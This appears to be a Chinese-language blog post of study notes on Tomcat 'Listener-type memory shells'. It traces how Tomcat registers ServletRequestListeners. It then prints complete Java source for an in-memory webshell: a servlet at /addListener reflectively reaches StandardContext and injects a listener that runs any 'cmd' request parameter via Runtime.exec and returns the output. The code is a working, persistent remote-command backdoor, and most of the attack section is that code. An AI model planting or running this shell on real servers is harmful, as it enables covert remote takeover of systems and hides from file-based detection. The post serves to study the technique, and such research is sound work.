Tomcat的Listener型内存马
Flow

基础介绍

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

我的理解是无论什么请求,都会被listener监控
Listener有三个域对象

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

其中ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法

Listener基础实现

写一个基础的Listener,然后在webxml里面装配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package Listener;

import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.startup.ContextConfig;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.util.EventListener;

@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {

public ListenerTest(){
// ApplicationFilterChain
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener 被调用");
}
}

webxml

1
2
3
<listener>  
<listener-class>Listener.ListenerTest</listener-class>
</listener>

访问对应的路由,可以看到日志有打印

Listener流程分析

分析前有两个问题要思考:1.tomcat是怎么加载listener的 2.恶意代码应该写在哪

应用开启前

读取配置文件

有一个ContextConfig.configureContext()方法把 web.xml 作为参数传进去

里面进行一些配置读取工作,不细看了

读完配置文件,加载Listener

应用启动的时候,StandardContext 会去调用 listenerStart() 方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务

这里重点有一个findApplicationListeners()方法,就是把之前的Listener存到这里

应用运行过程

断点打在requestInitialized()方法

然后看调用栈,回到最后一个invoke方法,为了进入fireRequestInitEvent()方法

主要代码在这里面,跟进到getApplicationEventListeners()方法里面,会有这段,在获取listener数组

1
2
3
public Object[] getApplicationEventListeners() {
return this.applicationEventListenersList.toArray();
}

然后可以发现实际上listener是存储在applicationEventListenersList里面的

1
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList();

而且可以通过addApplicationEventListener()方法来添加listener

到后面就和filter差不多,listener组内listener会被逐个触发,直到最后的requestInitialized()方法

攻击

前辈的图依旧画的十分清晰

依旧是需要获取StandardContext,相比filter内存马会简单一些

最后exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package Listener;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

// 自定义一个listener
class ListenerMemShell implements ServletRequestListener{

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
try {
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i = inputStream.read(bytes)) != -1) {
response.getWriter().write(new String(bytes, 0, i));
response.getWriter().write("\r\n");
}
}
} catch (Exception e) {
e.printStackTrace();
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} finally {

}
}
}

@WebServlet("/addListener")
public class ListenerShell extends HttpServlet {

public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

try {
// 获取standardContext相关操作
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

// 获取到了 new一个恶意listener,然后加进去
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList<>(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());

System.out.println("listener内存马添加成功");
response.getWriter().write("Listener added successfully!");
} catch (NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
throw new ServletException("Failed to add listener", e);
}
}
}

参考

https://drun1baby.top/2022/08/27/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-04-Tomcat-%E4%B9%8B-Listener-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/

碎碎念

依旧不是很走心的笔记,下一篇详细写结合反序列化打入内存马

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep